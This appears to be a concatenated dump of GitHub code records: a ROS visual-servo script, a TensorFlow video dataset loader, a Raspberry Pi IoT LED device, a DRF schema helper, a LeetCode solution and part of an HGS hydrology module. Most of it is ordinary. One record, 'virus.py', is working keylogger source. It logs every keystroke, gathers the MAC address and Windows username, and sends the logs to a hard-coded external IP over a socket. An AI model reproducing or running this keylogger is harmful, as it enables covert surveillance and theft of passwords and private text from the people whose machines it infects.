np.asmatrix(np.zeros((2*nKP,1)))\n\t\t\n\t\t\tL = np.asmatrix(np.zeros((2*nKP,3)))\n\t\t\n\t\t\tfor i in range(nKP):\n\t\t\t\n\t\t\t\n\t\t\t\t# filling up the interaction matrix\n\t\t\t\n\t\t\t\tx = (-kPoints.tkp[i].x + self.xc)/self.f\n\t\t\t\ty = (-kPoints.tkp[i].y + self.yc)/self.f\n\t\t\t\n\t\t\t\n\t\t\t\tL[2*i,0] = -1\n\t\t\t\tL[2*i,1] = x\n\t\t\t\tL[2*i,2] = -(1+x*x)\n\t\t\t\n\t\t\t\tL[2*i+1,0] = 0\n\t\t\t\tL[2*i+1,1] = y\n\t\t\t\tL[2*i+1,2] = -x*y\n\t\t\t\n\t\t\t\t#L[2*i,0] = -1\n\t\t\t\t#L[2*i,1] = 0\n\t\t\t\t#L[2*i,2] = x\n\t\t\t\t#L[2*i,3] = x*y\n\t\t\t\t#L[2*i,4] = -(1+x*x)\n\t\t\t\t#L[2*i,5] = y\n\t\t\t\n\t\t\t\t#L[2*i+1,0] = 0z\n\t\t\t\t#L[2*i+1,1] = -1\n\t\t\t\t#L[2*i+1,2] = y\n\t\t\t\t#L[2*i+1,3] = 1 + y*y\n\t\t\t\t#L[2*i+1,4] = -x*y\n\t\t\t\t#L[2*i+1,5] = -x\n\t\t\t\n\t\t\t\t# computing the error matrix\n\t\t\t\n\t\t\t\terror[2*i,0]=(-kPoints.tkp[i].x + self.xc)/self.f - (-kPoints.skp[i].x + self.xc)/self.f\n\t\t\t\terror[2*i+1,0]=(-kPoints.tkp[i].y + self.yc)/self.f - (-kPoints.skp[i].y + self.yc)/self.f\n\n\t\t\t\n\t\t\tL_pi = linalg.pinv(L)\n\t\t\n\t\t\tvel = -self.scale * L_pi*error\n\t\t\n\t\t\tt = Twist()\n\t\t\n\t\t\t# vc = [vx vz wy] = [ros.vy ros.vx ros.wz]\n\t\t\n\t\t\t# transform the linear velocities from the camera frame to the robot frame\n\t\t\n\t\t\n\t\t\tv = PointStamped()\n\t\t\tv.header = kPoints.header\n\t\t\tv.point.x = vel[0,0]\n\t\t\tv.point.y = 0\n\t\t\tv.point.z = vel[1,0]\n\t\t\n\t\t\n\t\t\t((x,y,_),rot) = self.listener.lookupTransform(self.robotFrame,self.cameraFrame, rospy.Time(0))\n\t\t\n\t\t\tself.listener.waitForTransform(self.cameraFrame, self.robotFrame, kPoints.header.stamp, rospy.Duration(1.0))\n\t\t\tv = self.listener.transformPoint(self.robotFrame,v)\n\t\t\n\t\t\tv.point.x = v.point.x-x\n\t\t\tv.point.y = v.point.y-y\n\t\t\n\t\t\t#the rotation is also brought back to the z axis (for the command to be correct for the robot, we add a - sign)\n\t\t\n\t\t\tt.linear.x = v.point.x\n\t\t\tt.linear.y = v.point.y\n\t\t\tt.linear.z = 0\n\t\t\tt.angular.x = 0\n\t\t\tt.angular.y = 0\n\t\t\tt.angular.z = -vel[2,0]\n\t\t\n\t\t\tself.twist_pub.publish(t)\n\t\t\tself.computationalTime = rospy.Time.now() - self.computationalTime\n\t\t\tself.Time_pub.publish(self.computationalTime)\n\n\t\t\n\tdef store_info(self,info):\n\t\tself.f = 759.3 #info.K[0]\n\t\tself.xc = 370.91 #info.K[2]\n\t\tself.yc = 250.9 #info.K[5]\n\t\t\n\t\t#print(\"Got camera info: f %.2f C %.2f %.2f\" % (self.f,self.xc,self.yc))\n\t\t\n\n\tdef run(self):\n\t\trospy.loginfo(\"Starting visual servo\")\n\t\trospy.sleep(1.0)\n\t\trospy.spin()\n\t\t\n\t\t\n\nif __name__ == '__main__':\n\n\tdemo = VisualServo()\n\tdemo.run()\t\n","repo_name":"cedricpradalier/ros_kf_stack","sub_path":"sift_detect_holo/scripts/servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16241463072","text":"#这里是数据处理的文件处理成数据集的形式\nimport cv2\nimport numpy as np\nimport settings\nimport os\nimport tensorflow as tf\nfrom utils import compute_TVL1\ndef cv_show(name,img,time=0):\n cv2.imshow(name,img)\n cv2.waitKey()\n cv2.destroyAllWindows()\n return img.shape\ndef opencv_video(dir):\n #\"video/008.mp4\"\n vc=cv2.VideoCapture(dir)\n frame_count = vc.get(cv2.CAP_PROP_FRAME_COUNT)\n fps = vc.get(cv2.CAP_PROP_FPS) # 获得视频文件的帧率\n open, frame1 = vc.read()\n frame1=np.expand_dims(frame1,axis=0)\n if vc.isOpened():\n open,frame=vc.read()\n ideo=frame\n cv2.waitKey(0)\n else:\n open=False\n num=0\n while num<fps*settings.time:\n num+=1\n ret,frame=vc.read()\n frame=np.expand_dims(frame,axis=0)\n if frame is None:\n break\n\n if ret==True and num%(int(fps/settings.fps))==0:\n frame1=np.vstack((frame1,frame))\n #把第一张重的图片删去\n frame1=frame1[1:]/255\n vc.release()\n return list(frame1)\ndef train_test_get(train_test_inf):\n for root,dir,files in os.walk(train_test_inf, topdown=False):\n #print(root)\n #print(files)\n list1=[root+\"/\"+i for i in files]\n return list1\ndef make_dataset(dir):\n fake_list=train_test_get(dir+\"/fake\")\n true_list=train_test_get(dir+\"/true\")\n fake_len=len(fake_list)\n true_len=len(true_list)\n label_fake=[[1,0] for _ in range(fake_len)]\n label_true=[[0,1] for _ in range(true_len)]\n list_get1=fake_list+true_list\n list_get=tf.constant([opencv_video(i) for i in list_get1])\n list_get=tf.expand_dims(list_get,axis=1)\n list_get_TVL1=tf.constant([compute_TVL1(i) for i in list_get1])\n list_get_TVL1=tf.expand_dims(list_get_TVL1,axis=1)\n list_get=tf.concat([list_get,list_get_TVL1],axis=1)\n label_get=label_fake+label_true\n dataest = tf.data.Dataset.from_tensor_slices((list_get, label_get))\n dataest = dataest.shuffle(buffer_size=settings.buffer_size).prefetch(tf.data.experimental.AUTOTUNE).repeat(settings.repeat).batch(settings.batch_size)\n print(dataest)\n return dataest\n","repo_name":"walnut-mzy/Implementation-of-tensorflow2.x-in-I3D-network","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"7006243781","text":"############################################################################################\n# Title: IoT JumpWay Raspberry Pi Basic LED Device\n# Description: IoT connected LED using Raspberry Pi.\n# Last Modified: 2018-04-22\n############################################################################################\n\nimport time, sys, json\n\nimport RPi.GPIO as GPIO\nimport JumpWayMQTT.Device as JWMQTTdevice\n\nclass Device():\n\n def __init__(self):\n\n self.jumpwayClient = None\n self.configs = {}\n\n with open('required/confs.json') as configs:\n self.configs = json.loads(configs.read())\n\n GPIO.setmode(GPIO.BCM)\n GPIO.setwarnings(False)\n GPIO.setup(\n self.configs[\"Actuators\"][\"LED\"][\"PIN\"],\n GPIO.OUT\n )\n\n self.startMQTT()\n\n def deviceCommandsCallback(self,topic,payload):\n\n print(\"Received command data: %s\" % (payload))\n\n jsonData = json.loads(payload.decode(\"utf-8\"))\n\n if jsonData['ActuatorID']==self.configs[\"Actuators\"][\"LED\"][\"ID\"] and jsonData['Command']=='TOGGLE' and jsonData['CommandValue']=='ON':\n\n GPIO.output(\n self.configs[\"Actuators\"][\"LED\"][\"PIN\"],\n GPIO.HIGH\n )\n\n elif jsonData['ActuatorID']==self.configs[\"Actuators\"][\"LED\"][\"ID\"] and jsonData['Command']=='TOGGLE' and jsonData['CommandValue']=='OFF':\n\n GPIO.output(\n self.configs[\"Actuators\"][\"LED\"][\"PIN\"],\n GPIO.LOW\n )\n\n def startMQTT(self):\n\n try:\n\n self.jumpwayClient = JWMQTTdevice.DeviceConnection({\n \"locationID\": self.configs[\"IoTJumpWay\"][\"Location\"],\n \"zoneID\": self.configs[\"IoTJumpWay\"][\"Zone\"],\n \"deviceId\": self.configs[\"IoTJumpWay\"][\"Device\"],\n \"deviceName\": self.configs[\"IoTJumpWay\"][\"DeviceName\"],\n \"username\": self.configs[\"IoTJumpWayMQTT\"][\"MQTTUsername\"],\n \"password\": self.configs[\"IoTJumpWayMQTT\"][\"MQTTPassword\"]\n })\n\n except Exception as e:\n print(str(e))\n sys.exit()\n\n self.jumpwayClient.connectToDevice()\n self.jumpwayClient.subscribeToDeviceChannel(\"Commands\")\n self.jumpwayClient.deviceCommandsCallback = self.deviceCommandsCallback\n\nDevice = Device()\n\nwhile True:\n\n pass\n\nDevice.jumpwayClient.disconnectFromDevice()","repo_name":"iotJumpway/RPI-Examples","sub_path":"Basic-LED/Python/Device.py","file_name":"Device.py","file_ext":"py","file_size_in_byte":2416,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"61"} +{"seq_id":"42358333","text":"from pynput.keyboard import Listener\r\nimport time\r\nimport datetime\r\nimport math\r\n\r\nimport socket\r\nimport json\r\n\r\nimport os\r\nimport re\r\nimport uuid\r\nmacAddress = ':'.join(re.findall('..', '%012x' % uuid.getnode()))\r\nwinUsername = os.getlogin()\r\n\r\nLastSendMinutes = 0\r\n#Sunucu bağlantı bilgilerimiz\r\nhost = '193.164.7.25'\r\nport = 4000\r\n#Logların tutulacağı klasör yolu\r\nlogFile = \"loglar\"\r\n#Klasör oluşturma\r\nif not os.path.isdir(logFile):\r\n os.makedirs(logFile)\r\n\r\n#Klavye eylemi\r\ndef PressEvent(Key):\r\n #Unixtime'yi dakikaya çeviren fonksiyonumzudan dosya ismi oluşturuyoruz\r\n FileTime = GetUnixMinutes()\r\n #Dosyayı oluşturuyoruz, varsa açıyoruz\r\n with open(logFile + \"/\" + FileTime + \".txt\" , \"a\" , encoding=\"utf-8\") as file:\r\n k = str(Key).replace(\"'\", \"\")\r\n #Kayıt edeceğimiz verinin başına tarih ekliyoruz\r\n t = \"\\n[\" + GetDate() + \"] \"\r\n #Basılan tuş silme tuşu mu?\r\n if k.find(\"backspace\") > 0:\r\n file.write(t + \"(KEY.BACKSPACE)\")\r\n #Basılan tuş boşluk tuşu mu?\r\n elif k.find(\"space\") > 0:\r\n file.write(t + \" \")\r\n #Basılan tuş özel bir tuş mu?\r\n elif k.find(\"Key\") >= 0:\r\n file.write(t + \"(\" + k.upper() + \")\")\r\n else:\r\n file.write(t + k)\r\n #Son gönderdiğimiz dosyadan sonra yeni dosya oluşmuş mu kontrolü\r\n if(int(FileTime) > LastSendMinutes + 1):\r\n TimeIsDone(int(FileTime), LastSendMinutes)\r\n\r\ndef GetUnixMinutes():\r\n #Dosyalama sistemi için unixtime'yi dakikaya çevirdik ve dakikalık dosyalar almamıza olanak sağladı\r\n return str(math.floor(int(time.time()) / 60))\r\n\r\ndef GetDate():\r\n #Verilerin başına eklemek için tarih formatı\r\n return datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\r\n\r\ndef TimeIsDone(F, L):\r\n global LastSendMinutes\r\n path = logFile\r\n #Kayıtların tutulduğu klasördeki tüm birikmiş, tamamlanan dosyaları çekiyoruz\r\n dir_list = os.listdir(path)\r\n b = 0\r\n for x in dir_list:\r\n c = x.replace(\".txt\", \"\")\r\n p = path + \"/\" + x\r\n #Dosya isimleri unixtime'nin dakikaya çevirilmiş hali olduğu için o sayıyı kayıt edip son kontrolleri yapıyoruz\r\n d = int(c)\r\n if d < F:\r\n if d > L:\r\n if d > b: b = d\r\n #Eğerki dosyamız tamamlanmış ve önceden gönderilmeyen bir dosya ise dosyamızı hazırlıyoruz\r\n file = open(p, encoding=\"utf8\")\r\n #Dosyayı sunucumuza bağlantı kuran fonksiyona iletiyoruz\r\n SendSocketMessage(\"MinuteTimer\", { c: file.read() })\r\n file.close()\r\n else:\r\n os.remove(p)\r\n LastSendMinutes = b\r\n return\r\n\r\n#Sunucuya mesaj gönderme fonksiyonumuz\r\ndef SendSocketMessage(T, M):\r\n global host, port\r\n #Sunucuya bağlantı kuruyoruz\r\n client_socket = socket.socket()\r\n client_socket.connect((host, port))\r\n #Sunucunun karşılayacağı mesaj için sabit yapı kullanıyoruz\r\n message = {\r\n \"mac\": macAddress,\r\n \"win_username\": winUsername,\r\n \"type\": T,\r\n \"data\": M\r\n }\r\n #Sunucuya veriyi iletiyoruz ve bağlantıyı koparıyoruz\r\n client_socket.send(json.dumps(message).encode('utf8'))\r\n client_socket.close()\r\n\r\n#Klavye dinleyicisi\r\nwith Listener(on_press=PressEvent) as listener:\r\n listener.join()\r\n","repo_name":"Aliimrancelik/innocent-villagers","sub_path":"virus.py","file_name":"virus.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6996721120","text":"import yaml\nfrom rest_framework.schemas.openapi import AutoSchema\n\n# inspired by https://igeorgiev.eu/python/misc/python-django-rest-framework-openapi-documentation/\n\n\nclass DocstrSchema(AutoSchema):\n \"\"\"\n Use docstring to generate openAPI schema\n \"\"\"\n\n @property\n def docdict(self):\n \"\"\"\n the dictionary being created from the docstring of the view\n \"\"\"\n if not hasattr(self, \"_docdict\"):\n try:\n self._docdict = yaml.safe_load(self.view.__doc__)\n except yaml.scanner.ScannerError:\n self._docdict = {}\n return self._docdict\n\n def get_components(self, path, method):\n \"\"\"\n override get_components\n \"\"\"\n components = super().get_components(path, method)\n new_comps = self.docdict.get(\"components\", {})\n if type(new_comps) is dict:\n components.update(new_comps)\n\n return components\n\n def get_operation(self, path, method):\n \"\"\"\n override get_operation\n \"\"\"\n operation = super().get_operation(path, method)\n new_op = self.docdict.get(method.lower(), {})\n\n if type(new_op) is dict:\n operation.update(new_op)\n return operation\n","repo_name":"GPlates/gplates-web-service","sub_path":"django/GWS/utils/docstr_schema.py","file_name":"docstr_schema.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"43145148310","text":"# same idea as lee215 , but different implementation : https://leetcode.com/problems/minimum-additions-to-make-valid-string/discuss/3421831/JavaC%2B%2BPython-Easy-and-Concise-with-Explanation\n\nclass Solution:\n def addMinimum(self, word: str) -> int:\n def check(aa, bb, cc):\n \n # removing common occurence\n a = aa>0\n b = bb>0\n c = cc>0\n if a==0 and b==0 and c==0: return 0\n if a==0 and b==0 and c==1: return cc\n if a==0 and b==1 and c==0: return bb\n if a==0 and b==1 and c==1: return bb+cc-1\n if a==1 and b==0 and c==0: return aa\n if a==1 and b==0 and c==1: return aa+cc-1\n if a==1 and b==1 and c==0: return aa+bb-1\n if a==1 and b==1 and c==1: return aa+bb+cc-2 \n \n m = 0\n cur = 'a'\n a = 0\n b = 0\n c = 0\n \n # minimum times we can have \"abc\" in increasing sequence\n for i in word:\n if i>=cur:\n if i=='a' : a+=1\n elif i=='b': b+=1\n else : c+=1\n cur = i\n else: # start again bcz we got a dec sequence\n m = m + check(a, b, c)\n a , b , c = 0, 0 , 0\n cur = i\n if i=='a' : a+=1\n elif i=='b': b+=1\n else : c+=1\n cur = i\n \n m = m+check(a, b, c)\n \n p = \"abc\"*(m) \n return len(p) - len(word)\n ","repo_name":"hardik302001/leetcode","sub_path":"problems/minimum_additions_to_make_valid_string/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"21287542484","text":"from dotenv import dotenv_values\nfrom google.cloud import iot_v1\nfrom google.cloud.iot_v1.services.device_manager.client import (\n DeviceManagerClient,)\n\nimport env\n\nclient: DeviceManagerClient = iot_v1.DeviceManagerClient(\n credentials=env.credential())\nregistry_path = client.registry_path(env.project_id(), env.proejct_region(),\n env.registry())\n\n\ndef get_registry():\n \"\"\" Retrieves a device registry.\n \n refs: https://github.com/googleapis/python-iot/blob/main/samples/api-client/manager/manager.py\n \"\"\"\n return client.get_device_registry(request={\"name\": registry_path},\n timeout=3.0)\n\n\ndef main():\n get_registry()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"minkj1992/iot_core","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13696644940","text":"'''\nCreated on Aug 27, 2016\n\nA module to gauge station vardata from HGS and associate the vardata with station meta vardata from the Water \nSurvey of Canada; the vardata is stored in human-readable text files and tables.\n\n@author: Andre R. Erler, GPL v3\n'''\n\n# external imports\nimport datetime as dt\nimport numpy as np\nimport pandas as pd\nimport os.path as osp\nimport os, glob\nimport inspect\nfrom copy import deepcopy\n# internal imports\nfrom geodata.misc import ArgumentError, VariableError, DataError, isNumber, DatasetError, translateSeasons\nfrom datasets.common import BatchLoad, getRootFolder\nfrom geodata.base import Dataset, Variable, Axis, concatDatasets\nfrom datasets.WSC import getGageStation, GageStationError, loadWSC_StnTS, updateScalefactor\nfrom geodata.gdal import loadPickledGridDef, addGDALtoDataset, GridDefinition\nfrom geodata.gdal import grid_folder as common_grid_folder\n# local imports\nfrom hgs.misc import interpolateIrregular, convertDate, parseObsWells\nfrom hgs.PGMN import loadMetadata, loadPGMN_TS\n# import filename patterns\nfrom hgsrun.misc import hydro_files, well_files, newton_file, water_file\n\n## HGS Meta-vardata\n\ndataset_name = 'HGS'\nroot_folder = getRootFolder(dataset_name=dataset_name, fallback_name='WRF') # get dataset root folder based on environment variables\nprefix_file = 'batch.pfx' # text file that contians the HGS problem prefix (also HGS convention)\n\n# variable attributes and name\nvariable_attributes_mms = dict(# hydrograph variables\n surface = dict(name='discharge', units='m^3/s', atts=dict(long_name='Surface Flow Rate')), # surface flow rate\n porous_media = dict(name='seepage' , units='m^3/s', atts=dict(long_name='Subsurface Flow Rate')), # subsurface flow rate\n total = dict(name='flow' , units='m^3/s', atts=dict(long_name='Total Flow Rate')), # total flow rate\n sfroff = dict(name='sfroff', units='mm/s', atts=dict(long_name='Surface Runoff')), # surface flow rate over area\n ugroff = dict(name='ugroff', units='mm/s', atts=dict(long_name='Subsurface Runoff')), # subsurface flow rate over area\n runoff = dict(name='runoff', units='mm/s', atts=dict(long_name='Total Runoff')), # total flow rate over area\n # Newton iteration diagnostics\n absolute_error = dict(name='error', units='n/a', atts=dict(long_name='Absolute Error')), # I don't know the units...\n residual_error = dict(name='residual', units='n/a', atts=dict(long_name='Residual Error')),\n number_of_iterations = dict(name='niter', units='#', atts=dict(long_name='Number of Iterations')),\n number_of_solver_iterations = dict(name='nsiter', units='#', atts=dict(long_name='Number of Solver Iterations')),\n time_step = dict(name='delta_t', units='s', atts=dict(long_name='Time Step')),\n # water balance variables\n outerboundary = dict(name='outflow', units='m^3/s', atts=dict(long_name='Outer Boundary Flow', flip_sign=True)),\n outer_edge = dict(name='outflow', units='m^3/s', atts=dict(long_name='Outer Boundary Flow', flip_sign=True)),\n rainfall = dict(name='precip_tot', units='m^3/s', atts=dict(long_name='Basin-integrated Precipitation')),\n rain = dict(name='precip_sum', units='m^3/s', atts=dict(long_name='Basin-integrated Precipitation')),\n pet_pet = dict(name='pet_pet', units='m^3/s', atts=dict(long_name='Basin-integrated Potential ET')),\n pet = dict(name='pet_sum', units='m^3/s', atts=dict(long_name='Basin-integrated Potential ET')),\n tot_et = dict(name='et_tot', units='m^3/s', atts=dict(long_name='Basin-integrated Actual ET', flip_sign=True)),\n aet = dict(name='et_sum', units='m^3/s', atts=dict(long_name='Basin-integrated Actual ET', flip_sign=True)),\n canopy_evap = dict(name='et_can', units='m^3/s', atts=dict(long_name='Basin-integrated Canopy Evaporation', flip_sign=True)),\n surf_evap = dict(name='et_sfc', units='m^3/s', atts=dict(long_name='Basin-integrated Surface Evaporation', flip_sign=True)),\n pm_evap = dict(name='evap_pm', units='m^3/s', atts=dict(long_name='Basin-integrated PM Evaporation', flip_sign=True)),\n pm_trans = dict(name='trans_pm', units='m^3/s', atts=dict(long_name='Basin-integrated PM Transpiration', flip_sign=True)),\n infilt = dict(name='infil', units='m^3/s', atts=dict(long_name='Basin-integrated Infiltration')),\n exfilt = dict(name='exfil', units='m^3/s', atts=dict(long_name='Basin-integrated Exfiltration', flip_sign=True)),\n overland = dict(name='d_olf', units='m^3/s', atts=dict(long_name='Total Change in Surface Flow',)),\n pm = dict(name='d_pm', units='m^3/s', atts=dict(long_name='Total Subsurface Storage Change',)),\n #delta_stor_int = dict(name='delta_storage', units='m^3/s', atts=dict(long_name='Basin-integrated Storage Change')),\n #TODO: add remaining 11 water balance variables...\n # observation wells\n h = dict(name='head', units='m', atts=dict(long_name='Total Head at Well')),\n s = dict(name='sat', units='', atts=dict(long_name='Relative Saturation')),\n )\nbinary_attributes_mms = dict(# 3D porous medium variables (scalar)\n head_pm = dict(name='head_pm', units='m', atts=dict(long_name='Total Head (PM)', pm=True),),\n sat_pm = dict(name='sat', units='', atts=dict(long_name='Relative Saturation', pm=True),),\n # 3D porous medium variables (vector)\n v_pm = dict(name='flow_pm', units='m/s', atts=dict(long_name='Flow Velocity (PM)', pm=True, elemental=True, vector=True)),\n q_pm = dict(name='dflx', units='m/s', atts=dict(long_name='Darcy Flux', pm=True, elemental=True, vector=True)),\n # Overland Flow (2D) variables (scalar)\n head_olf = dict(name='head_olf', units='m', atts=dict(long_name='Total Head (OLF)'),),\n ExchFlux_olf = dict(name='exflx', units='m/s', atts=dict(long_name='Exchange Flux'),),\n ETEvap_olf = dict(name='evap', units='m/s', atts=dict(long_name='Surface Evaporation'),),\n ETPmEvap_olf = dict(name='evap_pm', units='m/s', atts=dict(long_name='Porous Media Evaporation'),),\n ETTotal_olf = dict(name='ET', units='m/s', atts=dict(long_name='Total Evapo-Transpiration'),),\n ETPmTranspire_olf = dict(name='trans', units='m/s', atts=dict(long_name='Plant Transpiration'),),\n # Overland Flow (2D) variables (vector)\n v_olf = dict(name='flow_olf', units='m/s', atts=dict(long_name='Flow Velocity (OLF)', elemental=True, vector=True)),\n # derived variables\n depth2gw = dict(name='d_gw', units='m', atts=dict(long_name='Depth to Groundwater Table', function='calculate_depth2gw', \n dependencies=['coordinates_pm','coordinates_olf','pm_olf_mapping',\n 'head_pm','lordered','ldepth','lcap']),),\n olf_depth = dict(name='d_olf', units='m', atts=dict(long_name='Overland Flow Depth', function='calculate_olf_depth', \n dependencies=['coordinates_olf','head_olf']),),\n p_pm = dict(name='p_pm', units='m', atts=dict(long_name='Pressure Head (PM)', function='calculate_pressure_head',\n dependencies=['z_pm','head_pm'], pm=True),),\n p_olf = dict(name='p_olf', units='m', atts=dict(long_name='Pressure Head (OLF)', function='calculate_pressure_head',\n dependencies=['z','head_olf'])),\n exfil = dict(name='exfil', units='m/s', atts=dict(long_name='Groundwater Exfiltration', function='calculate_exfiltration', \n dependencies=['ExchFlux_olf',]),),\n infil = dict(name='infil', units='m/s', atts=dict(long_name='Surface Infiltration', function='calculate_infiltration', \n dependencies=['ExchFlux_olf',]),),\n recharge_et = dict(name='recharge_et', units='m/s', atts=dict(long_name='Groundwater Recharge (ET-based)', function='calculate_recharge_et', \n dependencies=['ExchFlux_olf','ETPmEvap_olf','ETPmTranspire_olf']),),\n recharge_gwt = dict(name='recharge_gwt', units='m/s', atts=dict(long_name='Groundwater Recharge (GWT-based)', function='calculate_gw_recharge', \n dependencies=['coordinates_pm','coordinates_olf','pm_olf_mapping', # dependencies\n 'head_pm','lordered','ldepth','lcap', # for depth2gw\n 'z_pmelm','z_elm','depth2gw_elm','q_pm','ExchFlux_olf_elm',\n 'n_elm','n_lay','lreset','ldepth','lexfil0','lnoneg']),),\n div_olf = dict(name='div_olf', units='m/s', atts=dict(long_name='Groundwater Divergence (OLF-based)', function='calculate_divergence_olf', \n dependencies=['ExchFlux_olf','ETPmEvap_olf','ETPmTranspire_olf']),),\n dflx_olf = dict(name='dflx_olf', units='m^2/s', atts=dict(long_name='2D Groundwater Flux (PM-based)', function='calculate_2D_dflx', \n dependencies=['q_pm','dz_elm','z_pm', 'layer'], elemental=True, vector=True, pm=False),),\n )\nconstant_attributes = dict(# variables that are not time-dependent (mostly coordinate variables)\n vector = dict(name='vector', units='', dtype=np.int64, atts=dict(\n long_name='Vector Component', order='0:x, 1:y, 2:z', vector=True)),\n tensor = dict(name='tensor', units='', dtype=np.int64, atts=dict(long_name='Vector Component', \n order='0:xx, 1:yy, 2:zz, 0:xy, 1:yz, 2:zx', tensor=True)),\n # Nodal OLF\n x = dict(name='x', units='m', atts=dict(long_name='X Coord.')),\n y = dict(name='y', units='m', atts=dict(long_name='Y Coord.')),\n z = dict(name='zs', units='m', atts=dict(long_name='Surface Elevation')),\n node = dict(name='node', units='', dtype=np.int64, atts=dict(long_name='Node Number')),\n # Nodal PM\n x_pm = dict(name='x_pm', units='m', atts=dict(long_name='X Coord. (PM)', pm=True)),\n y_pm = dict(name='y_pm', units='m', atts=dict(long_name='Y Coord. (PM)', pm=True)),\n z_pm = dict(name='z', units='m', atts=dict(long_name='Z Coord.', pm=True)),\n sheet = dict(name='sheet', units='', dtype=np.int64, atts=dict(long_name='Sheet Number', pm=True)),\n nodes_pm = dict(name='node_pm', units='', dtype=np.int64, atts=dict(long_name='3D (PM) Node Number', pm=True)),\n # Elemental (all)\n x_elm = dict(name='x_elm', units='m', atts=dict(long_name='X Coord. (Elemental)', elemental=True)),\n y_elm = dict(name='y_elm', units='m', atts=dict(long_name='Y Coord. (Elemental)', elemental=True)),\n z_elm = dict(name='zs_elm', units='m', atts=dict(long_name='Surface Elevation (Elemental)', elemental=True)),\n z_pmelm = dict(name='z_elm', units='m', atts=dict(long_name='Z Coord. (Elemental)', elemental=True, pm=True)),\n dz_elm = dict(name='dz_elm', units='m', atts=dict(long_name='Layer Thickness (Elemental)', elemental=True, pm=True)),\n layer = dict(name='layer', units='', dtype=np.int64, atts=dict(long_name='Layer Number', elemental=True, pm=True)),\n element = dict(name='element', units='', dtype=np.int64, atts=dict(long_name='2D Element Number', elemental=True, pm=True)),\n elements_pm = dict(name='elemements_pm', units='', dtype=np.int64, atts=dict(long_name='3D Element Number', elemental=True, pm=True)),\n elem_k = dict(name='K', units='m/s', atts=dict(long_name='Elemental k', elemental=True, tensor=True, pm=True)),\n # Time\n time_ts = dict(name='time', units='month', dtype=np.int64, atts=dict(long_name='Time since 1979-01')),\n time_clim = dict(name='time', units='month', dtype=np.int64, atts=dict(long_name='Time of the Year')),\n model_time = dict(name='model_time', units='s', atts=dict(long_name='Time since Simulation Start')),\n )\n# optional unit conversion\nmms_to_kgs = {'mm/s':'kg/m^2/s', 'm^3/s':'kg/s', 'm/s':'kg/m^2/s'}\nvariable_attributes_kgs = dict() \nfor varname,varatts in variable_attributes_mms.items():\n varatts = varatts.copy()\n varatts['units'] = mms_to_kgs.get(varatts['units'],varatts['units'])\n variable_attributes_kgs[varname] = varatts\nbinary_attributes_kgs = dict() \nfor varname,varatts in binary_attributes_mms.items():\n varatts = varatts.copy()\n if 'flow' not in varatts['name']: # flow stays m/s regardless\n varatts['units'] = mms_to_kgs.get(varatts['units'],varatts['units'])\n binary_attributes_kgs[varname] = varatts\n# list of variables to load\nvariable_list = variable_attributes_mms.keys()\nbinary_list = binary_attributes_mms.keys() \nflow_to_flux = dict(discharge='sfroff', seepage='ugroff', flow='runoff') # relationship between flux and flow variables\n# N.B.: computing surface flux rates from gage flows also requires the drainage area\nhgs_varmap = {value['name']:key for key,value in variable_attributes_mms.items()}\nbin_varmap = {value['name']:key for key,value in binary_attributes_mms.items()}\nconst_varmap = {value['name']:key for key,value in constant_attributes.items()}\n\n## function to load HGS station timeseries\ndef loadHGS_StnTS(station=None, well=None, varlist='default', layers=None, z_layers=None, varatts=None, \n folder=None, name=None, title=None, lcheckComplete=True, start_date=None, end_date=None, \n run_period=None, period=None, lskipNaN=False, basin=None, lkgs=False, z_axis='z', \n time_axis='simple', resample='M', llastIncl=False, WSC_station=None, Obs_well=None, \n basin_list=None, filename=None, scalefactors=None, metadata=None, lauto_sum=False,\n z_aggregation=None, correct_z=20., conservation_authority=None, **kwargs):\n ''' Get a properly formatted WRF dataset with monthly time-series at station locations; as in\n the hgsrun module, the capitalized kwargs can be used to construct folders and/or names '''\n if folder is None or ( filename is None and station is None and well is None ): raise ArgumentError\n if metadata is None: metadata = dict()\n meta_pfx = None # prefix for station/well attibutes from observations\n # distinguish between special timeseries files, hydrographs, and observation wells\n if station == 'water_balance' or well == 'water_balance': \n filename = water_file; well = None; zone = None\n name_tag = 'water_balance'; long_name = 'Integrated Water Balance'\n file_title = 'transient water balance summary'\n elif station == 'newton_info' or well == 'newton_info': \n filename = newton_file; well = None; zone = None; lkgs = False # don't change units... too messy\n name_tag = 'newton_info'; long_name = 'Newton Iteration Information'\n file_title = 'transient newton iteration summary'\n elif station and well: raise ArgumentError\n elif well:\n filename = well_files; zone = well # zone is used for file verification later on\n name_tag = well; long_name = well; lkgs = False # don't change units!\n file_title = 'flow data at observation well:'\n if conservation_authority:\n meta_pfx = 'PGMN_'\n metadata = loadMetadata(Obs_well if Obs_well else well, conservation_authority=conservation_authority)\n elif station:\n filename = hydro_files; zone = station\n name_tag = station; long_name = station\n file_title = station+' Hydrograph'\n # try to find meta vardata for gage station from WSC\n if basin is not None and basin_list is not None:\n meta_pfx = 'WSC_'\n station = getGageStation(basin=basin, station=station if WSC_station is None else WSC_station, \n basin_list=basin_list) # only works with registered basins\n if long_name is None: long_name = station.name # backup, in case we don't have a HGS station name\n metadata = station.getMetaData(lcheck=True) # load station meta vardata\n if metadata is None: raise GageStationError(name)\n else: \n if filename is None: raise ArgumentError\n long_name = None; name_tag = None; file_title = None; zone = None\n # prepare name expansion arguments (all capitalized)\n expargs = dict(ROOT_FOLDER=root_folder, STATION=name_tag, WELL=name_tag, NAME=name, TITLE=title,\n BASIN=basin, WSC_STATION=WSC_station)\n for key,value in 